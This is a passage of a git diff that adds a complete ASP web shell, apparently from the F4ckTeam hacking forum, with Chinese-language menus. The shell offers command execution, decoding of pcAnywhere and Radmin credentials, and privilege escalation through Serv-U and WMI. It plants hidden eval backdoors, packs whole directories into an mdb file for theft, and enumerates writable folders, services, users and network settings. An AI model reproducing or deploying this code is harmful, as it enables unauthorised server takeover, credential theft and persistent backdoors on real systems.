Request("Folder") + Case "Alexa":Alexa() + Case "suftp":suftp() + Case "upload":upload() + Case "radmin":radmin() + Case "pcanywhere4":pcanywhere4() + Case "goback":goback() + Case "jsp":jsp() + case "php":php() + case "apjdel":apjdel() + case "sam":sam() + case "aspx":aspx() + Case "ScanDriveForm" : ScanDriveForm + Case "ScanDrive" : ScanDrive Request("Drive") + Case "ScFolder" : ScFolder Request("Folder") + Case "SetFileText":SetFileText() + Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +RRS"" +%> diff --git "a/asp/\344\270\215\346\255\273\345\203\265\345\260\270.asp" "b/asp/\344\270\215\346\255\273\345\203\265\345\260\270.asp" new file mode 100644 index 0000000..0c6169a --- /dev/null +++ "b/asp/\344\270\215\346\255\273\345\203\265\345\260\270.asp" @@ -0,0 +1,1872 @@ + + +<%@ LANGUAGE = VBScript %><% +UserPass="F4ck" +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +mingzi="F4ckTeam" +nimajb="法客论坛 - F4ckTeam" +SiteURL="http://team.f4ck.net" +Copyright="法客论坛 - F4ckTeam

    " +sub ShowErr() +If Err Then +jb"

     " & Err.DescrIption & "

    " +Err.Clear:Response.Flush +ENd IF +End SUB +function jb(Str) +Response.WRItE(Str) +END function +Sub mbd(Str) +execute(Str) +END Sub +Function rePATH(S) +REpath=REpLAcE(s,"\","\\") +ENd Function +FuNctIon RRepaTh(S) +RREpaTH=rEplAcE(S,"\\","\") +end fUncTion +Url=REQueSt.sErVErvARiables("URL") +nimajbm=requESt.sErVeRVArIABlEs("LOCAL_ADDR") +AcTIoN=ReQUESt("Action") +RooTpATH=SeRveR.mAPpaTH(".") +WWWROOt=SErVER.MAppATH("/") +sba=request.servervariables("http_host") +ApdB=Replace(Apds(i),"\Device\","") +appbd=rEQUEsT.seRvErVARIaBLES("PATH_INFO") +FOLdErpAth=REqueSt("FolderPath") +ScrName=Request.ServerVariables("Script_Name") +fNAME=reQUesT("FName") +ServerU=ReQueST.SERVervaRIables("http_host") +WoriNima=Request.ServerVariables("SERVER_NAME") +O0O0=Request.ServerVariables("PATH_TRANSLATED") +WoriNiba=Request.ServerVariables("SERVER_SOFTWARE") +Worininai=Request.ServerVariables("LOCAL_ADDR") +jbmc=Request.ServerVariables("NUMBER_OF_PROCESSORS") +jbmb=Request.ServerVariables("OS") +u=sba&URl +BACkuRl="

    返回
    " +dim ShiSan,ShiSanNewstr,ShiSanI,fso,f,a,b,temp,c,theAct, thePath +Function ShiSanFun(ShiSanObjstr) +ShiSanObjstr = Replace(ShiSanObjstr, "╁", """") +For ShiSanI = 1 To Len(ShiSanObjstr) +If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then +ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr +Else +ShiSanNewStr = vbCrLf & ShiSanNewStr +End If +Next +ShiSanFun = ShiSanNewStr +End Function +mm=ShowErrs +Set fso = CreateObject(oBt(0,0)) +Set f = fso.GetFile(O0O0) +if f.attributes <> 39 then +'f.attributes = 39 +end if +jb"" +jb""&nimajb&" - "&nimajbm&" ":jb"":jb"":jb"" +jb "" +DIm oBt(18,2) +oBt(0,0) = "Scri"&"pting.FileSyste"&"mObject" + oBt(0,2) = "文件操作组件" +Obt(1,0) = "ws"&"cript.shell" + obt(1,2) = "命令行执行组件,显示" +obT(2,0) = "ADOX.Catalog" + ObT(2,2) = "ACCESS建库组件" +oBt(3,0) = "JRO.JetEngine" + obt(3,2) = "ACCESS压缩组件" +OBt(4,0) = "Scripting.Dictionary" + ObT(4,2) = "数据流上传辅助组件" +OBT(5,0) = "Adodb.connection" + oBT(5,2) = "数据库连接组件" +oBT(6,0) = "Adodb.Stream" + oBT(6,2) = "数据流上传组件" +OBT(7,0) = "SoftArtisans.FileUp" + OBT(7,2) = "SA-FileUp 文件上传组件" +obT(8,0) = "LyfUpload.UploadFile" + OBT(8,2) = "刘云峰文件上传组件" +oBT(9,0) = "Persits.Upload.1" + oBt(9,2) = "ASPUpload 文件上传组件" +obT(10,0) = "JMail.SmtpMail" + Obt(10,2) = "JMail 邮件收发组件" +obt(11,0) = "CDONTS.NewMail" + ObT(11,2) = "虚拟SMTP发信组件" +ObT(12,0) = "SmtpMail.SmtpMail.1" + oBT(12,2) = "SmtpMail发信组件" +OBT(13,0) = "Micros"&"oft.XM"&"LH"&"TTP" + OBt(13,2) = "数据传输组件" +OBT(14,0) = "ws"&"cript.shell.1" + OBt(14,2) = "如果wsh被禁,可以改用这个组件" +OBT(15,0) = "WS"&"CRIPT.NETWORK" + OBt(15,2) = "查看服务器信息的组件,有时可以用来提权" +OBT(16,0) = "she"&"ll.appl"&"ication" + OBt(16,2) = "she"&"ll.appli"&"cation 操作,无FSO时操作文件以及执行命令" +OBT(17,0) = "sh"&"ell.appl"&"ication.1" + OBt(17,2) = "she"&"ll.appli"&"cation 的别名,无FSO时操作文件以及执行命令" +OBT(18,0) = "Shell.Users" + OBt(18,2) = "删除了net.exe net1.exe的情况下添加用户的组件" +fOr I=0 tO 18 +Set T=serVER.CReATEoBJEcT(obT(I,0)) +If -2147221005 <> err Then +ISoBJ=" √" +ELSE +ISobj=" ×" +eRr.cLEar +eNd iF +Set T=nOthInG +oBt(i,1)=IsoBj +neXt +IF foLderPaTH<>"" Then +sEssioN("FolderPath")=rRepatH(fOlDeRpATH) +EnD If +If SeSSIoN("FolderPath")="" THEN +fOLDERpAth=RoOTpaTH +SESSIOn("FolderPath")=fOLDeRPatH +end IF + +Function PcAnywhere4() +jb"
    PcAnywhere提权 Bin版本
    " +jb"
    " +jb"" +jb"" +jb"" +jb"
    cif文件:
    " +end Function +jb"
    " +jb"" +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then + j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then + j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then + j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then + j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then + j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then + j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then + j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i + j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) Or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +jb "Pcanywhere Reader ==>

    " +jb "PATH:"&CIF&"
    " +jb "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +jb "
    " +jb "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +jb Parameter&":" +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +jb strobj +Else +jb "Error! Can't Read!" +End If +jb "

    " +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +jb Port &":" +jb hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +jb "Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function:function goback():set Ofso = Server.CreateObject(oBt(0,0)) +set ofolder = Ofso.Getfolder(Session("FolderPath")):if not ofolder.IsRootFolder then :jb "":else:jb "":jb "
    已经是磁盘根目录了!
    ":jb "


    ":end if:set Ofso=nothing:set ofolder=nothing:end function:function php():On Error Resume Next:set fso=Server.CreateObject(oBt(0,0)):fso.CreateTextFile(server.mappath("test.php")).Write"":fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo":fso.CreateTextFile(Server.MapPath("/")&"/images/.asp").Write""&chr(60)&"%Eval(Request(chr(112))):Set fso=CreateObject(""Scripting.FileSystemObject""):Set f=fso.GetFile(Request.ServerVariables(""PATH_TRANSLATED"")):if f.attributes <> 39 then:f.attributes = 39:end if"&chr(37)&""&chr(62)&"":fso.CreateTextFile(server.mappath("test.aspx")).Write""&chr(60)&"%@ Page Language=""Jscript"" validateRequest=""false"" "&chr(37)&""&chr(62)&""&chr(60)&""&chr(37)&"Response.Write(eval(Request.Item[""w""],""unsafe""));"&chr(37)&""&chr(62)&"aspx Test oo∩_∩oo":jb"
         ":jb"     ":jb"   
    ":jb"





    Test

    (删除测试文件!)

    ":jb"
    (远程下载脚本木马)

    ":End function:function apjdel():set fso=Server.CreateObject(oBt(0,0)):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):jb"Del Success!":End function:fUNcTiOn MAINFORm():jb"
    ":jb"":jb"":jb"
    ":jb"":jb"":jb"
    ":jb"":jb"":jb"":jb"提权目录列表:『Program』『AllUsers』『开始 程序』『RECYCLED』『RECYCLER』『D:\RECYCLER』『pcAnywhere』『serv-u』『RealServer』『SQL』『config』『data』『Temp』『Documents
    地址栏:":jb"":jb" " :jb"
    ":jb"
    ":jb"":jb"":jb"
    ":End FuNCtiON: +sub echo(str) +response.write str +end sub +funcTiOn maINmenU():jb"":jb"":jb"" +iF OBT(0,1)=" ×" Then +jb"" +Else +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +END if +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb" " +'jb"" +'jb" " +jb"" + +jb"
    无FSO/无权限
    +>查看硬盘
    ●站点根目录
    ●本程序目录
    ●新建目录
    ●新建文本
    ●上传文件
    ●文件夹打包-解包
    ●上級目录
    ↓-服务器信息查看
    ●查看可写目录
    " +jb"
    ●系统服务-用户账号
    ●主机信息-组件支持
    ●管理组帐号
    " +jb"
    ●服务器探测
    ●不死僵尸隐藏
    ↓-提权漏洞检测
    ●执行Cmd命令
    ●端口扫描器
    ●脚本探测工具
    ●Serv-U提权
    " +jb"
    ●Serv-UFTP提权
    " +jb"
    ●WMI远程执行命令
    ●修改属性
    " +jb"
    ●Sql_cmd
    ●PcAnyWHere提权
    ●RAdmin提权
    ●注册表操作
    ●直接下载
    " +jb"
    ↓-数据库操作
    ●连接数据库
    " +jb"
    ●建立MDB文件
    " +'jb"
    ↓-在线网络服务
    ●同服查询
    〖查看Pr值〗
    ●在线更新
    ●退出登录

    " +jb"
    "&mingzi&" 's blog

    "&SiteURL&"
    " +jb"" +Call shellcore +End FunCtion + +Sub PageAddToMdb() + +theAct = Request("theAct") +thePath = Request("thePath") +Server.ScriptTimeOut=100000 +If theAct = "addToMdb" Then +addToMdb(thePath) +jb "

    操作完成!
    "&BackUrl +Response.End +End If +If theAct = "releaseFromMdb" Then +unPack(thePath) +jb "

    操作完成!
    "&BackUrl +Response.End +End If +jb"
    文件夹打包:" +jb"
    " +jb"" +jb"" +jb"" +jb"" +jb" " +jb"

    注: 打包生成hsh.mdb文件,位于木马同级目录下" +jb"
    " +jb"
    文件包 解开(需FSO支持):
    " +jb"
    " +jb"" +jb"" +jb" " +jb"

    注: 解开来的所有文 件都位于木马同级目录下" +jb"
    " +End Sub +Sub addToMdb(thePath) +On Error Resume Next +Dim rs, conn, stream, connStr, adoCatalog +Set rs = Server.CreateObject("ADODB.RecordSet") +Set stream = Server.CreateObject("ADODB.Stream") +Set conn = Server.CreateObject(OBT(5,0)) +Set adoCatalog = Server.CreateObject("ADOX.Catalog") +connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("hsh.mdb") +adoCatalog.Create connStr +conn.Open connStr +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +stream.Open +stream.Type = 1 +rs.Open "FileData", conn, 3, 3 +If Request("theMethod") = "fso" Then +fsoTreeForMdb thePath, rs, stream + Else +saTreeForMdb thePath, rs, stream +End If +rs.Close +Conn.Close +stream.Close +Set rs = Nothing +Set conn = Nothing +Set stream = Nothing +Set adoCatalog = Nothing +End Sub +Function fsoTreeForMdb(thePath, rs, stream) +Dim item, theFolder, folders, files, sysFileList +sysFileList = "$hsh.mdb$HSH.ldb$" +If Server.CreateObject(oBt(0,0)).FolderExists(thePath) = False Then +showErr(thePath & " 目录不存在或者不允许访问!") +End If +Set theFolder = Server.CreateObject(oBt(0,0)).GetFolder(thePath) +Set files = theFolder.Files +Set folders = theFolder.SubFolders +For Each item In folders +fsoTreeForMdb item.Path, rs, stream +Next +For Each item In files +If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then +rs.AddNew +rs("thePath") = Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent") = stream.Read() +rs.Update +End If +Next +Set files = Nothing +Set folders = Nothing +Set theFolder = Nothing +End Function +Sub unPack(thePath) +On Error Resume Next +Server.ScriptTimeOut=100000 +Dim rs, ws, str, conn, stream, connStr, theFolder +str = Server.MapPath(".") & "\" +Set rs = CreateObject("ADODB.RecordSet") +Set stream = CreateObject("ADODB.Stream") +Set conn = CreateObject(OBT(5,0)) +connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" +conn.Open connStr +rs.Open "FileData", conn, 1, 1 +stream.Open +stream.Type = 1 +Do Until rs.Eof +theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) +If Server.CreateObject(oBt(0,0)).FolderExists(str & theFolder) = False Then +createFolder(str & theFolder) +End If +stream.SetEos() +stream.Write rs("fileContent") +stream.SaveToFile str & rs("thePath"), 2 +rs.MoveNext +Loop +rs.Close +conn.Close +stream.Close +Set ws = Nothing +Set rs = Nothing +Set stream = Nothing +Set conn = Nothing +End Sub +Sub AdDtOmdB(thePath) +oN eRRoR ResUMe nEXt +DiM rs, CONN, sTrEam, conNStr, ADocatALog +SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") +seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") +seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) +seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") +ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") +ADocAtaLog.cReATe CoNnsTR +CoNN.OPen conNsTr +CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +STrEAm.OPEn +streaM.TypE = 1 +rS.OPEN "FileData", cOnn, 3, 3 +If ReQuEsT("theMethod") = "fso" theN +FsOTrEEforMDB thepaTH, Rs, sTrEAm + eLSE +SATrEeforMDB thEpATH, Rs, STrEAm +enD IF +rs.ClosE +coNN.CLoSE +stREaM.CLosE +Set rs = NOThInG +set Conn = nothINg +sET stReam = NOThinG +SEt AdOcAtaloG = nOTHIng +End Sub +Sub AdDtOmdB(thePath) +oN eRRoR ResUMe nEXt +DiM rs, CONN, sTrEam, conNStr, ADocatALog +SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") +seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") +seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) +seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") +ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") +ADocAtaLog.cReATe CoNnsTR +CoNN.OPen conNsTr +CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +STrEAm.OPEn +streaM.TypE = 1 +rS.OPEN "FileData", cOnn, 3, 3 +If ReQuEsT("theMethod") = "fso" theN +FsOTrEEforMDB thepaTH, Rs, sTrEAm + eLSE +SATrEeforMDB thEpATH, Rs, STrEAm +enD IF +rs.ClosE +coNN.CLoSE +stREaM.CLosE +Set rs = NOThInG +set Conn = nothINg +sET stReam = NOThinG +SEt AdOcAtaloG = nOTHIng +End Sub +sUb CreateFoldER(ThePath) +DIM i +I = instR(Thepath, "\") +Do whILe I > 0 +iF fSOX.FoLDERExIsts(LEft(THEPaTH, i)) = faLse TheN +fSox.CreatEFOLDEr(lEft(THePatH, I - 1)) +end If +IF INSTR(mid(THePAth, i + 1), "\") tHEN +i = i + INsTr(mid(ThePaTh, i + 1), "\") + ELSe +i = 0 +eND If +LOOP +eND sUB +sUB SAtreEforMdB(thePaTh, rs, STREam) +diM iTeM, tHEFOlDER, SySFilELIsT +SYSfileliSt = "$HYTop.mdb$HYTop.ldb$" +SeT thEfoLdEr = sAX.NAMeSPaCe(thepath) +for eaCH iTEm in tHeFoldeR.iteMS +If ItEm.ISFoLDeR = TRUe tHen +SatrEEfoRMDB itEm.PatH, rs, Stream + elSe +iF iNSTr(SYsFilELIsT, "$" & ItEm.naME & "$") <= 0 tHeN +rs.AddNew +rs("thePath") = MID(ITeM.PatH, 4) +sTrEAm.LoadfroMfiLe(ITEM.PATH) +RS("fileContent") = sTREAM.rEaD() +rs.uPDaTE +enD iF +enD If +NeXT +seT thefoLDeR = NoTHINg +END SUB +Sub Message(state,msg,flag):jb "":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "
    系统信息
    ":jb "
    ":jb state:jb "

    ":jb msg:jb "

    ":jb " ":jb " ":jb " ":jb " ":jb " ":If flag=0 Then:jb " ":jb " ":Else:jb " ":jb " ":End if:jb " ":jb " ":jb "":End Sub:Function Red(str):Red = "" & str & "":End Function:Sub ScanDriveForm():Dim FSO,DriveB:Set FSO = Server.Createobject(oBt(0,0)):jb "":jb " ":jb " ":jb " ":For Each DriveB in FSO.Drives:jb " ":jb " ":jb "":jb "":jb " ":jb"":jb "":jb "":jb " " +Next +jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb " ":jb " ":jb "
    磁盘/系统 文件夹信息
    盘 符" +jb DriveB.DriveLetter:jb ":类型":Select Case DriveB.DriveType:Case 1: jb "可移动":Case 2: jb "本地硬盘":Case 3: jb "网络磁盘":Case 4: jb "CD-ROM":Case 5: jb "RAM磁盘":Case else: jb "未知 类型":End Select:jb "
    Windows文件夹":jb FSO.GetSpecialFolder(0):jb "
    System32文件夹":jb FSO.GetSpecialFolder(1):jb "
    系统临时文件夹":jb FSO.GetSpecialFolder(2):jb "
    站点跟目录":jb "站点跟目录":jb "点击 查询
    回收站目录":jb "回收站目录 ":jb "点击 查询
    wmpub目录 ":jb "wmpub":jb "点击查询

    ":jb "
    ":jb "
    指定文件夹 查询:":jb " " +jb "  指定文件夹路径。如:C:\ASP\":jb "
    ":jb "
    ":Set FSO=Nothing:End Sub:Sub ScanDrive(Drive):Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D:If Drive <> "" Then +Set FSO = Server.Createobject(oBt(0,0)) +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & (TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str & "" & ("") +Message Drive & ":磁盘信息",Temp_Str,1 +End if +End Sub +str1=request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") +Sub ScFolder(folder) +On Error Resume Next +Dim FSO,OFolder,TempFolder,Scmsg,S +Set FSO = Server.Createobject(oBt(0,0)) +If FSO.FolderExists(folder) Then +Set OFolder = FSO.GetFolder(folder) +Set TempFolders = OFolder.SubFolders +Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) +For Each S in TempFolders +Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) +Next +Set TempFolders = Nothing +Set OFolder = Nothing +Else +Scmsg = Scmsg & "
  • 文件夹:" & (folder & "不存在或无读权限!") +End if +Scmsg = Scmsg & "" & ("") +Set FSO = Nothing +Message "文件夹信息",Scmsg,1 +End Sub + + +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject(oBt(0,0)) +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " 不可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " 可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +Function Course() +si="
    " +SI=Si&"" +on erRoR reSUme NEXT +For eACh obJ in geToBJeCt("WinNT://.") +Err.clEAR +If ObJ.STArtTYpe="" THeN +sI=SI&"" +Si=SI&"" +Si0="" +EnD if +iF oBj.StArTtype=2 thEN lx="自动" +IF oBj.StARTTyPe=3 tHEN LX="手动" +IF obj.StarTtYpE=4 thEN LX="禁用" +iF LCaSe(mid(obj.pAth,4,3))<>"win" AnD obJ.STarttYpe=2 tHeN +Si1=si1&"" +ELSE +si2=sI2&"" +end if +nExt +jb si&Si0&sI1&si2&"
    系统用户与服务
     " +si=si&Obj.naME +sI=sI&" " +si=SI&"系统用_户(组)" +si=Si&"
     
     "&obj.NAME&" "&OBj.DISPlaYName&"
    [启动类型:"&Lx&"] "&ObJ.PATh&"
     "&obj.NAme&" "&oBj.DisplAYNaMe&"
    [启动类型:"&Lx&"] "&OBj.PAtH&"
    " +ENd Function + + +fuNcTion DownFILE(PAth) +RespoNse.cleAr +sEt Osm = creATEOBJeCT(OBT(6,0)) +oSM.oPEN +oSM.tYPe = 1 +osm.lOAdfromFILe PatH +Sz=inSTRrEv(PAth,"\")+1 +ReSPoNse.AddHEaDer "Content-Disposition", "attachment; filename=" & mid(pAth,SZ) +RESPOnSe.AdDHeAder "Content-Length", Osm.SIzE +ResPOnsE.ChARSET = "UTF-8" +ReSPOnSe.CONTENTTYpE = "application/octet-stream" +RESPONSE.binArywRiTE oSm.Read +rEsponSE.flUSh +osM.cLoSe +SeT OsM = nOThINg +eNd FUnction +fUnCtIOn htMLeNcODe(s) +if NoT iSnull(s) THen +S = ReplACE(S, ">", ">") +S = rePlaCE(s, "<", "<") +S = rEplAce(S, CHR(39), "'") +S = RepLAcE(S, chR(34), """) +S = REPLACE(s, chr(20), " ") +hTmLencoDE = S +End iF +End Function:Sub GetTerminalInfo() +on error resume next +dim wsh +set wsh=createobject("Wscript.Shell") +jb "[网络 探测]

    " +EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" +isEnable=Wsh.Regread(EnableTcpipKey) +If isEnable=0 or isEnable="" Then +Notcpipfilter=1 +End If +ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" +Apds=Wsh.RegRead(ApdKey) +If IsArray(Apds) Then +For i=LBound(Apds) To UBound(Apds)-1 +jb "网卡"&i&"的序列为: "&ApdB&"
    " +Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" +IPKey=Path&ApdB&"\IPAddress" +IPaddr=Wsh.Regread(IPKey) +If IPaddr(0)<>"" Then +For j=Lbound(IPAddr) to Ubound(IPAddr) +jb "
  • IP地址"&j&"为:"&IPAddr(j)&"
    " +Next +Else +jb "
  • IP地址 无法读取 或没有设置
    " +End if +GateWayKey=Path&ApdB&"\DefaultGateway" +GateWay=Wsh.Regread(GateWayKey) +If isarray(GateWay) Then +For j=Lbound(Gateway) to Ubound(Gateway) +jb "
  • 网关"&j&"为:"&Gateway(j)&"
    " +Next +Else +jb "
  • 默认网关无法 读取或 没有设置
    " +End if +DNSKey=Path&ApdB&"\NameServer" +DNSstr=Wsh.RegRead(DNSKey) +If DNSstr<>"" Then +jb "
  • 网卡DNS为:"&DNSstr&"
    " +Else +jb "
  • 默认DNS 无法读取 或没有设置
    " +End If +if Notcpipfilter=1 Then +jb "
  • 没有 Tcp/IP筛选
    " +else +ETK="\TCPAllowedPorts" +EUK="\UDPAllowedPorts" +FullTCP=Path&ApdB&ETK +FullUDP=path&ApdB&EUK +tcpallow=Wsh.RegRead(FullTCP) +If tcpallow(0)="" or tcpallow(0)=0 Then +jb "
  • 允许的TCP端口为 :全部
    " +Else +jb "
  • 允许的TCP 端口为:" +For j = LBound(tcpallow) To UBound(tcpallow) +jb tcpallow(j)&"," +Next +jb "
    " +End if +udpallow=Wsh.RegRead(FullUDP) +If udpallow(0)="" or udpallow(0)=0 Then +jb "
  • 允许的UDP端口为:全部
    " +Else +jb "
  • 允许的UDP 端口为:" +for j = LBound(udpallow) To UBound(udpallow) +jb UDPallow(j)&"," +next +jb "
    " +End if +End if +jb "------------------------------------------------
    " +Next +end if +jb "

    [特殊端口 探测]

    " +Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort" +TlntPort=Wsh.RegRead(TelnetKey) +if TlntPort="" Then Tlnt="23(默认 设置)" +jb "
  • Telnet端 口:"&Tlntport&"
    " +TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" +TermPort=Wsh.RegRead(TermKey) +If TermPort="" Then TermPort="无法读取.请 确认是否为Windows Server版本 主机" +jb "
  • Terminal Service端口为:"&TermPort&"
